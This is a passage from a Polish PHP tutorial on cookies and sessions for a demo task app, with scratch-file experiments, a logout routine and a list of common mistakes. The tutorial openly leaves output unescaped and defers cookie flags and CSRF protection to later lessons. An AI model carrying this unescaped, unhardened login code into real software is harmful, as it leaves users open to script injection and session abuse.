<li>Logowanie jest <strong>demonstracyjne</strong>: nie ma kont ani haseł. Każdy, kto poda poprawny login, „wchodzi”. Wszyscy użytkownicy widzą <strong>tę samą</strong> listę z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> i <strong>te same</strong> symulowane XP i streak. Uczymy się dziś mechanizmu „aplikacja pamięta, kto jest zalogowany” — konta z hasłami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>) pojawią się razem z bazą danych (Lekcja 19), a prawdziwe logowanie — w Lekcji 22.</li>



<li>Nadal <strong>nie używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong> (Lekcja 22). Imię wpisane przy logowaniu trafia na stronę tak samo jak tytuł zadania w Eksperymencie 5 z Lekcji 13.</li>



<li>Opcje bezpieczeństwa ciasteczek (<code class="prettyprint lang-sql" style="font-size: 0.85em;">httponly</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">secure</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">samesite</code>) i ochronę przed CSRF tylko sygnalizujemy — to temat Lekcji 22.</li>



<li>Dane grywalizacji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) nadal są symulowane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 13</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Użytkownik wysłał formularz dodawania zadania i nacisnął F5. Co by się stało bez przekierowania po zapisie? Jak nazywa się wzorzec, który temu zapobiega?</li>



<li>Dlaczego w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> najpierw „zawężamy” <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> do trzech wartości, a dopiero potem używamy go w <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code>?</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> musi się wykonać, zanim strona wypisze jakikolwiek HTML? Po co zaraz za nim jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>?</li>



<li>Komunikat „Zadanie zostało dodane.” można wywołać, wpisując ręcznie <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code>. Dlaczego?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Wszystkie funkcje z Lekcji 1–13 zostają <strong>bez zmian w kodzie</strong>. Zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> zostają — zmienia się tylko to, <strong>skąd</strong> biorą wartość: zamiast tekstu wpisanego w kod — z sesji zalogowanego użytkownika. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> z Lekcji 8 wreszcie sprawdzi login, który <strong>naprawdę wpisał użytkownik</strong>.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: sesja, tylko dla zalogowanych, dane użytkownika z sesji,
│                                     przycisk „Wyloguj”, komunikat z sesji, widok listy zapamiętany w cookie)
├── dodaj-zadanie.php                (zmiana: sesja, tylko dla zalogowanych, komunikat w sesji zamiast ?dodano=1)
├── zaloguj.php                      NOWY — formularz logowania (login + imię)
├── wyloguj.php                      NOWY — kończy sesję (tylko POST), bez własnego HTML
├── diagnostyka.php                  (zmiana: trzy nowe pozycje na liście wymaganych plików)
├── config/
│   └── config.php                   (zmiana: nowa stała CZAS_PAMIETANIA_WIDOKU)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.4")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         (zmiana: nowa funkcja walidujDaneLogowania() na końcu pliku)
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            bez zmian
│   ├── funkcje_sesji.php            NOWY — czyZalogowany(), wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           bez zmian
└── data/
    └── zadania.csv                  bez zmian</code></pre>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Co się zmienia</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code></td><td>nowy plik: cztery małe funkcje obsługujące sesję</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> — korzysta z istniejącej <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>nowa strona: formularz, walidacja (schemat z Lekcji 13), zapis do sesji</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code></td><td>nowy skrypt: czyści i niszczy sesję, przekierowuje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, wpuszczanie tylko zalogowanych, komunikat jednorazowy; w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> także cookie widoku</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>stała z czasem pamiętania widoku</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>numer wersji, nowe pliki na liście wymaganych</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 13 — jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja13/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Zrób kopię <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> poza katalogiem projektu (jak w Lekcji 13).</li>



<li>Sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> działa, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje 12 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>



<li>Otwórz narzędzia deweloperskie (<strong>F12</strong>) i znajdź miejsce, w którym przeglądarka pokazuje ciasteczka: w Chrome/Edge karta <strong>Aplikacja</strong> (<em>Application</em>) → <strong>Pliki cookie</strong> (<em>Cookies</em>) → <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost</code>; w Firefoksie karta <strong>Dane</strong> (<em>Storage</em>) → <strong>Ciasteczka</strong>. Będziesz tam zaglądać przez całą lekcję.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama dodała zadanie i zobaczyła zieloną ramkę. Po chwili odświeżyła stronę — ramka nadal jest. Wysłała koledze link <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code> — u niego też „dodano zadanie”, choć nic nie dodał. Potem przełączyła listę na „aktywne”, dodała kolejne zadanie i… po powrocie na stronę główną znowu widzi wszystkie. A powitanie „Witaj, Kama!” widzi każdy, kto otworzy TaskQuest — także Ola, bo imię jest wpisane w kodzie.</p>



<p class="wp-block-paragraph">Wszystkie trzy problemy mają jedną przyczynę:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">żądanie 1: POST dodaj-zadanie.php  → skrypt kończy się, zmienne znikają
żądanie 2: GET  index.php          → nowy skrypt od zera — nie wie nic o żądaniu 1
żądanie 3: GET  index.php (F5)     → znowu od zera</code></pre>



<p class="wp-block-paragraph">Protokół HTTP jest <strong>bezstanowy</strong>: serwer nie pamięta poprzednich żądań. Jeśli aplikacja ma coś pamiętać między nimi, informacja musi być gdzieś przechowana:</p>



<ul class="wp-block-list">
<li><strong>w przeglądarce</strong> — i dołączana przez nią do każdego żądania (<strong>cookie</strong>),</li>



<li><strong>na serwerze</strong> — a przeglądarka nosi tylko „numerek szatni”, po którym serwer znajduje właściwe dane (<strong>sesja</strong>).</li>
</ul>



<p class="wp-block-paragraph">Potrzebujemy:</p>



<ol class="wp-block-list">
<li>żeby TaskQuest wiedział, <strong>kto</strong> z niego korzysta — i nie wpuszczał nikogo, kto się nie przedstawił,</li>



<li>żeby komunikat pojawił się <strong>dokładnie raz</strong>,</li>



<li>żeby wybrany widok listy był <strong>zapamiętany</strong>, nawet po zamknięciu przeglądarki.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: cookies i sesje</h1>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Cała sekcja 3 i 4 dzieje się w plikach <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>. To pliki do eksperymentów, nie część aplikacji.</p>



<h2 class="wp-block-heading">3.1 Każde żądanie zaczyna od zera</h2>



<p class="wp-block-paragraph">Wpisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$licznik = 0;
$licznik++;

echo "Licznik: $licznik";</code></pre>



<p class="wp-block-paragraph">Odśwież stronę kilka razy. Zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Nie ma w tym nic dziwnego — przy każdym żądaniu PHP uruchamia skrypt od pierwszej linii, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$licznik</code> za każdym razem zaczyna od <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Zmienne PHP żyją tylko przez czas jednego żądania. Żeby licznik rósł, jego wartość musi przetrwać <strong>poza</strong> skryptem.</p>



<h2 class="wp-block-heading">3.2 Cookie — pamięć po stronie przeglądarki</h2>



<p class="wp-block-paragraph"><strong>Cookie</strong> (ciasteczko) to krótki tekst z nazwą, który serwer prosi przeglądarkę o zapamiętanie. Przeglądarka dołącza go potem <strong>do każdego kolejnego żądania</strong> do tej samej strony:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRZEGLĄDARKA                                            SERWER
     │  GET brudnopis.php                                  │
     │ ──────────────────────────────────────────────────► │  setcookie('licznik', '1', ...)
     │  odpowiedź + nagłówek  Set-Cookie: licznik=1         │
     │ ◄────────────────────────────────────────────────── │
     │                                                     │
     │  (przeglądarka zapisuje: licznik=1)                  │
     │                                                     │
     │  GET brudnopis.php  + nagłówek  Cookie: licznik=1    │
     │ ──────────────────────────────────────────────────► │  $_COOKIE&#91;'licznik'] → "1"</code></pre>



<p class="wp-block-paragraph">W PHP:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie(nazwa, wartość, wygaśnięcie)</code></strong> — prosi przeglądarkę o zapisanie ciasteczka,</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code></strong> — tablica ciasteczek, które przeglądarka <strong>przysłała w tym żądaniu</strong> (budowa jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>),</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">time()</code></strong> — aktualny czas jako liczba sekund od 1 stycznia 1970 r. Czas wygaśnięcia podajemy jako „teraz + ile sekund”, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">time() + 60 * 60 * 24 * 7</code> to tydzień.</li>
</ul>



<p class="wp-block-paragraph">Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$licznik = $_COOKIE&#91;'licznik'] ?? '0';
$licznik = (int) $licznik + 1;

setcookie('licznik', $licznik, time() + 60 * 60);

echo "Licznik: $licznik";</code></pre>



<p class="wp-block-paragraph">Odświeżaj — licznik rośnie. Otwórz F12 → Pliki cookie → <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost</code>: jest ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">licznik</code> z wartością i datą wygaśnięcia (za godzinę). W F12 → <strong>Sieć</strong> kliknij żądanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i znajdź w nagłówkach odpowiedzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">Set-Cookie</code>, a w nagłówkach żądania — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cookie</code>.</p>



<p class="wp-block-paragraph">Pięć rzeczy, które trzeba wiedzieć o ciasteczkach:</p>



<ol class="wp-block-list">
<li><p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wysyła nagłówek</strong> — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> z Lekcji 13. Musi się wykonać <strong>przed</strong> jakąkolwiek treścią strony. Inaczej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information - headers already sent</code> (Eksperyment 1).<span style="color: initial;"></span></p></li>



<li><p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> zawiera to, co przyszło z przeglądarką w tym żądaniu.</strong> Ciasteczko ustawione przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> pojawi się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> dopiero w <strong>następnym</strong> żądaniu (Eksperyment 2). Dlatego w przykładzie wyżej wypisujemy zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$licznik</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['licznik']</code>.</p></li>



<li><p><strong>Wartość ciasteczka to zawsze tekst</strong> (jak wszystko, co przychodzi od przeglądarki) i jest mała — ok. 4 KB na ciasteczko.</p></li>



<li><p><strong>Bez trzeciego parametru</strong> ciasteczko jest „sesyjne przeglądarki” — znika po zamknięciu przeglądarki. Z czasem wygaśnięcia — żyje do tego czasu, także po restarcie komputera. (Uwaga: przeglądarka z opcją „Kontynuuj tam, gdzie skończyłem” potrafi przywrócić także ciasteczka „do zamknięcia” — nie zdziw się w testach.)<span style="color: initial;"></span></p></li>



<li><p><strong>Usunięcie ciasteczka</strong> = ustawienie go jeszcze raz z czasem <strong>w przeszłości</strong>. Przeglądarka sama je wtedy wyrzuca:<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('licznik', '', time() - 3600);<br /></code></p></li>



<li>Ciasteczko jest przypisane do domeny (i ścieżki) — strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code> nie widzi ciasteczek innych stron, a inne strony nie widzą ciasteczek <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>.</li>
</ol>



<h2 class="wp-block-heading">3.3 Cookie jest w rękach użytkownika</h2>



<p class="wp-block-paragraph">Otwórz F12 → Pliki cookie, kliknij dwukrotnie wartość ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">licznik</code> i wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">1000</code>. Odśwież stronę: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Licznik: 1001</code>. Teraz wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> i odśwież: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Licznik: 1</code> — bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "abc"</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</p>



<p class="wp-block-paragraph">Ciasteczko leży na komputerze użytkownika. Użytkownik może je obejrzeć, zmienić, usunąć albo wysłać dowolne inne — tak samo jak mógł dopisać w adresie <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=abc</code>. Dlatego:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> traktujemy dokładnie tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> — jak dane od użytkownika.</strong> Odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, a przed użyciem sprawdzenie (regex, lista dozwolonych wartości).</p>
</blockquote>



<p class="wp-block-paragraph">Z tego wynika też, <strong>czego w cookie nie przechowujemy</strong>: niczego, od czego zależy, kim jest użytkownik albo co mu wolno. Gdyby TaskQuest trzymał login w ciasteczku <code class="prettyprint lang-sql" style="font-size: 0.85em;">login=Kama_2026</code>, każdy mógłby wpisać sobie w F12 cudzy login i „zostać” Kamą. Do tego potrzebujemy pamięci, której użytkownik nie może edytować — sesji.</p>



<h2 class="wp-block-heading">3.4 Sesja — pamięć po stronie serwera</h2>



<p class="wp-block-paragraph"><strong>Sesja</strong> to dane przechowywane <strong>na serwerze</strong>, przypisane do jednej przeglądarki. Przeglądarka dostaje tylko losowy identyfikator — jak numerek w szatni. Kurtka (dane) wisi w szatni (na serwerze), a z numerkiem można ją odebrać.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. index.php: session_start()
   └─ przeglądarka nie ma numerka → PHP losuje identyfikator, np. "k3j9f0a2b7..."
      └─ wysyła ciasteczko  PHPSESSID=k3j9f0a2b7...
         └─ na serwerze powstaje plik  sess_k3j9f0a2b7...  (tu PHP zapisze $_SESSION)

2. dodaj-zadanie.php: session_start()
   └─ przeglądarka przysłała PHPSESSID=k3j9f0a2b7...
      └─ PHP otwiera plik sess_k3j9f0a2b7... i wypełnia nim $_SESSION
         └─ po zakończeniu skryptu zapisuje $_SESSION z powrotem do pliku</code></pre>



<p class="wp-block-paragraph">W PHP:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code></strong> — uruchamia sesję: odczytuje identyfikator z ciasteczka (albo tworzy nowy) i wypełnia tablicę <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>. Musi się znaleźć <strong>na początku każdego skryptu</strong>, który korzysta z sesji — <strong>przed</strong> jakąkolwiek treścią strony (wysyła ciasteczko, czyli nagłówek).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code></strong> — zwykła tablica asocjacyjna. Co do niej zapiszesz, PHP sam zachowa do następnego żądania tej samej przeglądarki.</li>
</ul>



<p class="wp-block-paragraph">Wpisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

$_SESSION&#91;'imie'] = 'Kama';
$_SESSION&#91;'xp'] = 99;
$_SESSION&#91;'zadania'] = &#91;'Nauka PHP', 'Powtórka SQL'];

echo "Zapisano do sesji.";</code></pre>



<p class="wp-block-paragraph">a do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

echo '&lt;pre&gt;';
var_dump($_SESSION);
echo '&lt;/pre&gt;';

echo "Imię z sesji: " . ($_SESSION&#91;'imie'] ?? '(brak)');</code></pre>



<p class="wp-block-paragraph">Najpierw otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>. Drugi plik <strong>zna dane zapisane przez pierwszy</strong>, choć nie ma w nim żadnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie'] = ...</code>. Zwróć uwagę na typy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(99)</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> to tablica — sesja zachowuje typy (w przeciwieństwie do cookie, gdzie wszystko jest tekstem).</p>



<p class="wp-block-paragraph">Teraz sprawdź, gdzie te dane leżą:</p>



<ol class="wp-block-list">
<li>F12 → Pliki cookie: jest ciasteczko <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code></strong> z długim, losowym tekstem. <strong>Tylko tyle</strong> przeglądarka wie o sesji.</li>



<li>Otwórz katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code> (w XAMPP-ie tam trafiają sesje; jeśli używasz innego serwera, wypisz w brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_save_path()</code>). Znajdź plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sess_</code> + wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> i otwórz go w edytorze. Zobaczysz mniej więcej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie|s:4:"Kama";xp|i:99;zadania|a:2:{...}</code>. To są Twoje dane — na serwerze.</li>
</ol>



<p class="wp-block-paragraph">Użytkownik może zmienić wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> w F12, ale wtedy nie „przerobi” swoich danych — po prostu poda numerek, do którego nie ma kurtki (PHP utworzy nową, pustą sesję). Danych w sesji nie zmieni inaczej niż przez strony naszej aplikacji. <strong>Dlatego to, co my sami zapisaliśmy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, możemy traktować jako zaufane</strong> — w odróżnieniu od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>.</p>



<p class="wp-block-paragraph">Ile żyje sesja? Ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> domyślnie znika po zamknięciu przeglądarki, a PHP co jakiś czas usuwa pliki sesji, których nikt nie używał dłużej niż 24 minuty (ustawienie <code class="prettyprint lang-sql" style="font-size: 0.85em;">session.gc_maxlifetime</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>, domyślnie 1440 sekund). Sesja to pamięć <strong>na czas korzystania z aplikacji</strong>, nie na zawsze.</p>



<h2 class="wp-block-heading">3.5 Usuwanie danych z sesji</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co chcemy usunąć</th><th>Jak</th></tr></thead><tbody><tr><td>jeden element</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">unset($_SESSION['imie']);</code> — tak samo jak element każdej tablicy</td></tr><tr><td>wszystkie dane, ale zostawić sesję</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION = [];</code></td></tr><tr><td>całą sesję (wylogowanie)</td><td>trzy kroki poniżej</td></tr></tbody></table></figure>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();

$_SESSION = &#91;];                                    // 1. dane w pamięci skryptu

if (isset($_COOKIE&#91;session_name()])) {             // 2. numerek w przeglądarce
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();                                 // 3. plik sesji na serwerze</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_name()</code> zwraca nazwę ciasteczka sesji — domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>. Czwarty parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> to <strong>ścieżka</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'/'</code>): ciasteczko sesji PHP domyślnie jest ustawiane dla całej domeny, więc usuwając je, musimy podać tę samą ścieżkę. (Nasze własne ciasteczka ustawiamy bez ścieżki — przeglądarka przypisuje je wtedy katalogowi, w którym leży skrypt, czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>. Wszystkie strony TaskQuest leżą w tym katalogu, więc to nam wystarcza.)</p>



<p class="wp-block-paragraph">Dopisz na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> kroki 1–3 (bez ponownego <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> — już jest na górze pliku) i otwórz go. Dane jeszcze się wypiszą (bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> jest wyżej), ale potem: w F12 ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> zniknęło, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code> zniknął plik sesji. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> jeszcze raz: tablica jest pusta, a w F12 pojawił się <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> z <strong>innym</strong> identyfikatorem — to nowa, pusta sesja.</p>



<h2 class="wp-block-heading">3.6 Cookie czy sesja?</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>&nbsp;</th><th>Cookie</th><th>Sesja</th></tr></thead><tbody><tr><td>gdzie leżą dane</td><td>w przeglądarce użytkownika</td><td>na serwerze (przeglądarka ma tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>)</td></tr><tr><td>kto może je zmienić</td><td>użytkownik — dowolnie</td><td>tylko nasz kod PHP</td></tr><tr><td>typy danych</td><td>tylko tekst, ok. 4 KB</td><td>dowolne wartości PHP (liczby, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, tablice)</td></tr><tr><td>jak długo</td><td>do podanej daty (nawet miesiące) albo do zamknięcia przeglądarki</td><td>na czas korzystania z aplikacji</td></tr><tr><td>kiedy widać zapis</td><td>dopiero w następnym żądaniu</td><td>od razu (to zwykła tablica)</td></tr><tr><td>dobre do</td><td>preferencji: widok listy, motyw, język, „nie pokazuj więcej”</td><td>kto jest zalogowany, komunikaty jednorazowe, dane między krokami formularza</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Decyzje w TaskQuest:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co pamiętamy</th><th>Gdzie</th><th>Dlaczego</th></tr></thead><tbody><tr><td>login i imię zalogowanego użytkownika</td><td><strong>sesja</strong></td><td>od tego zależy, kim jest użytkownik — nie może tego sam „przestawić”</td></tr><tr><td>komunikat „Zadanie zostało dodane.”</td><td><strong>sesja</strong></td><td>ma być pokazany raz i nie może dać się podrobić adresem ani ciasteczkiem</td></tr><tr><td>wybrany widok listy</td><td><strong>cookie</strong></td><td>to tylko wygoda; ma przetrwać zamknięcie przeglądarki; jeśli ktoś je zmieni — zobaczy po prostu inny widok</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">3.7 Typowe błędy przy cookies i sesjach</h2>



<ul class="wp-block-list">
<li><strong>Brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code></strong> w pliku — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> nie istnieje albo jest pusta, choć „przecież przed chwilą zapisaliśmy”. Każdy plik, który korzysta z sesji, musi mieć własne <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> po wypisaniu HTML</strong> (nawet po spacji przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>) — <code class="prettyprint lang-sql" style="font-size: 0.85em;">headers already sent</code>.</li>



<li><strong>Odczyt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE[...]</code> zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code></strong> w tym samym skrypcie — widać starą wartość (albo nic).</li>



<li><strong>Ufanie ciasteczkom</strong> — np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_COOKIE['rola'] === 'admin')</code>. Użytkownik wpisze sobie <code class="prettyprint lang-sql" style="font-size: 0.85em;">admin</code> w F12.</li>



